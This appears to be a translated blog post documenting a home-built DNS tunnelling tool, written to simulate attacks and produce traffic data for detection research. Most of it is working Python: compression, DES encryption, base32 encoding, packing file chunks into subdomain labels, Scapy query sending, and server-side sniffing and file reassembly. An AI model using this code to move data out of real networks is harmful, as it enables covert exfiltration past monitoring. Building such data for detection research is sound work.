It's time for bloggers to finish setting up. Because the data sets required by bloggers in the direction of setting up are rarely publicly provided (after all, DNS records have some privacy problems), they have to simulate DNS attacks to operate by themselves.
First of all, if you want to know what is DNS tunnel attack, you can take a look at our previous blog Research on DNS traffic analysis . I'm too lazy to write it again. Before Build sub domain DNS server and Building DNS server for Ubuntu In, the general environment has been set up. Here we directly start the recording of tunnel attack program.
Attack scheme
The hope here is to transfer files through DNS messages.
On the client side, there are the following modules: file reading module, encoding module, embedding module and sending module. On the server side, there are the following modules: message receiving module, content extraction module and file recovery module. In addition, another configuration module is attached to set various parameters, such as maximum message length, encoding mode, etc.
control module
I use json file to realize the control module, which is divided into two parts: content and domain name format. As shown below
Coding module
In this module, I set three options: compression, encryption and coding. The first two are optional and the last one is required.
def content_conversion(set_content,data): if set_content["compress_or_not"] == 1: data = compress(data) #print(data) if set_content["encrypt_mode"]["active"] == 1: data = encode_decode.Encrypt(data,set_content["encrypt_mode"]["method"],set_content["encrypt_mode"]["key"]) data = encode_decode.Encode(data,set_content["encode_method"]['method']) return data
For compression, I choose to call zlib library directly
def compress(data): res = zlib.compress(data,zlib.Z_BEST_COMPRESSION) return res def decompress(data): zobj = zlib.decompressobj() data = zobj.decompress(data) #res = data.decode(encoding='utf-8') return data
For encryption, AES encryption, DES encryption and 3DES encryption are optional. At present, only DES encryption is realized.
def des_encrypt( key, plaintext): iv = secret_key = key k = pyDes.des(secret_key, pyDes.CBC, iv, pad=None, padmode = pyDes.PAD_PKCS5) data = k.encrypt(plaintext, padmode=pyDes.PAD_PKCS5) res=binascii.b2a_hex(data) return res def des_decrypt( key, ciphertext): iv = secret_key = key k = pyDes.des(secret_key, pyDes.CBC, iv, pad=None, padmode = pyDes.PAD_PKCS5) data = k.decrypt(binascii.a2b_hex(ciphertext), padmode=pyDes.PAD_PKCS5) return data def Encrypt(content,mode,password): res='' if mode == "DES": while len(password)<8: password=password+password key = password[:8] res = des_encrypt(key,content) return res def Decrypt(content,mode,password): res=None if mode == "DES": while len(password)<8: password=password+password key = password[:8] res = des_decrypt(key,content) return res
The last part is the coding part. Common coding methods such as Base32, Base16 and Base64_URL and other coding methods.
def Encode(inf, ch='base32'): rnt='' if ch == 'base32': rnt = base64.b32encode(inf) if ch == 'base16': rnt = base64.b16encode(inf) if ch == 'base64url': rnt = base64.urlsafe_b64encode(inf) return rnt def Decode(inf, ch='base32'): rnt='' if ch == 'base32': rnt = base64.b32decode(inf) if ch == 'base16': rnt = base64.b16decode(inf) if ch == 'base64url': rnt = base64.urlsafe_b64decode(inf) return rnt
Information embedding
In the information embedding stage, the information needs to be processed in blocks, plus other camouflage items.
def make_domain(format,SLD='test.com',inf=None,max_label=63,seq_number=0,tot_seq_number=0,guid_name='test_str', file_name='test_name',file_type='txt'): labels=format.split('.') content={'system_ID','file_name','seq_number','rand','target_content','tot_seq_number','GUID',} subdomain='' l='' for label in labels: l='' label0s=label.split('<') for label0 in label0s: label1s=label0.split('>') for label1 in label1s: if label1 not in content: l=l+label1 continue if label1 =='GUID': l=l+uuid.uuid3(uuid.NAMESPACE_DNS,guid_name).hex continue if label1 == 'target_content' and inf != None: l=l+inf continue if label1 == 'file_name': l=l+file_name continue if label1 == 'seq_number': l=l+str(seq_number) continue if label1 == 'rand': Randint=random.randint(1,max_label) Randstr=''.join(random.sample(string.ascii_letters + string.digits, Randint)) l=l+Randstr if label1 == 'tot_seq_number': l = l + str(tot_seq_number) if label1 == 'system_ID': l = l + uuid.uuid1().hex if label1 == 'file_type': l = l + file_type if len(l)>max_label: print("ERROR: Label",label," Size is larger than MAX_LABEL SIZE", max_label) #return None subdomain = subdomain + l + '.' domain = subdomain + SLD if (len(domain)>253): print("ERROR: Size of Domain is larger than 253") #return None return domain
Sending module
I choose to use scapy to complete the sending of information. With scapy, I can easily and clearly construct the package and send it without paying attention to the response package.
from scapy.all import * def dns_request(Domain,Dst,Dst_port=53): a = IP(dst=Dst) b = UDP(dport = Dst_port) c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) c.qd = DNSQR(qname=Domain,qtype='A',qclass=1) p = a/b/c send(p)
Receive message
You can directly use the sniff function of scapy to sniff packets in real time and operate each packet in real time
sniff(prn=cap, filter='udp and udp port 53')
information extraction
I only extract the embedded information, and other auxiliary information will not be processed here. The extracted information is saved in a dictionary.
def cap(packet): a = packet.summary() layers = a.split('/') DNS = layers[len(layers) - 1] fields = DNS.split(' ') DNSQR = None for i in range(len(fields)): if (fields[i] == 'Qry'): DNSQR = fields[i + 1] break if DNSQR == None: return Domain = DNSQR.lstrip('\"b\'').rstrip('\'\"') if set_options["domain_structure"]["SLD"] not in Domain: return content = split_domain(Domain, set_options['domain_structure']['format']) if set_options["content"]["encode_method"]['active'] == 1: content = Decode(content, set_options["content"]["encode_method"]['method']).decode() print(content) options = content.split('|!|') # print(len(options),options) if len(options) == 4 and options[2] == 'REG': # print(content) jobid = options[0] file_name = options[1] checksum = options[3] packets_dict[jobid] = {'filename': file_name.replace('_', '.'), 'checksum': checksum, 'contents': []} elif len(options) == 3 and options[2] == 'DONE': mkdir(packets_dict[options[0]], set_options) elif len(options) == 3: packets_dict[options[0]]['contents'].append([options[0], int(options[1]), options[2]])
File reconstruction
For the reconstruction of the file, I use jobid to confirm which file it is
filename = job['filename'] checksum = job['checksum'] contents = job['contents'] contents.sort(reverse = False,key=lambda x:x[1]) ct=0 Data='' set_encode=set_options['content']["encode_method"] #print(job['contents']) for content in contents: tmp=content[2].replace('\n','') if int(content[1])>ct+1: print('[ERROR] %s lose pocket %d .'%(content[0],ct+1)) return if int(content[1])<ct+1: continue Data=Data+tmp ct = int(content[1]) if (hash_md5(Data)!=checksum): print("[Error] There is something wrong in the data") return Data = de_content_conversion(Data, set_options['content']) print('[OK] %s is Done.'%(content[0])) f_out = open(filename, 'wb') f_out.write(Data.encode()) f_out.close()